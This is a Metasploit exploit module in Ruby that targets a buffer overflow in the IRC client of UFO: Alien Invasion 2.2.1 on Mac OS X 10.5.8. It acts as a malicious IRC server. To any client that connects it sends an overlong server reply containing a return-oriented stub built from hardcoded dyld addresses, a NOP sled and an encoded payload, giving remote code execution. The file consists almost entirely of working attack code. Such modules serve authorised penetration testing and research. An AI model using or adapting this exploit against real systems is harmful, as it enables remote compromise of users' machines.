```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the IRC client component
          of UFO: Alien Invasion 2.2.1.
        },
        'Author' => [
          'Jason Geffner', # Original Windows PoC Author
          'dookie' # OSX Exploit Author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-10006' ],
          [ 'OSVDB', '65689' ],
          [ 'EDB', '14013' ]
        ],
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00\x0a\x0d",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'osx',
        'Targets' => [
          [
            'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
            {
              'Arch' => ARCH_X86,
              'Offset' => 524,
              'Writable' => 0x8fe66448, # dyld __IMPORT
              # The rest of these addresses are in dyld __TEXT
              'setjmp' => 0x8fe1cf38,
              'strdup' => 0x8fe210dc,
              'jmp_eax' => 0x8fe01041
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-10-28',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
      ]
```

```
      )
    end

    def make_exec_payload_from_heap_stub()
      frag0 =
        "\x90" + # nop
        "\x58" + # pop eax
        "\x61" + # popa
        "\xc3"   # ret

      frag1 =
        "\x90" +             # nop
        "\x58" +             # pop eax
        "\x89\xe0" +         # mov eax, esp
        "\x83\xc0\x0c" +     # add eax, byte +0xc
        "\x89\x44\x24\x08" + # mov [esp+0x8], eax
        "\xc3"               # ret

      setjmp = target['setjmp']
      writable = target['Writable']
      strdup = target['strdup']
      jmp_eax = target['jmp_eax']

      exec_payload_from_heap_stub =
        frag0 +
        [setjmp].pack('V') +
        [writable + 32, writable].pack("V2") +
        frag1 +
        "X" * 20 +
        [setjmp].pack('V') +
        [writable + 24, writable, strdup, jmp_eax].pack("V4") +
        "X" * 4
    end

    def on_client_connect(client)
      print_status("Got client connection...")

      offset = target['Offset']

      buffer = "001 :"
      buffer << rand_text_alpha_upper(offset)
      buffer << make_exec_payload_from_heap_stub()
      buffer << make_nops(16)
      buffer << payload.encoded
      buffer << "\x0d\x0a"

      print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
      client.put(buffer)
    end
  end
```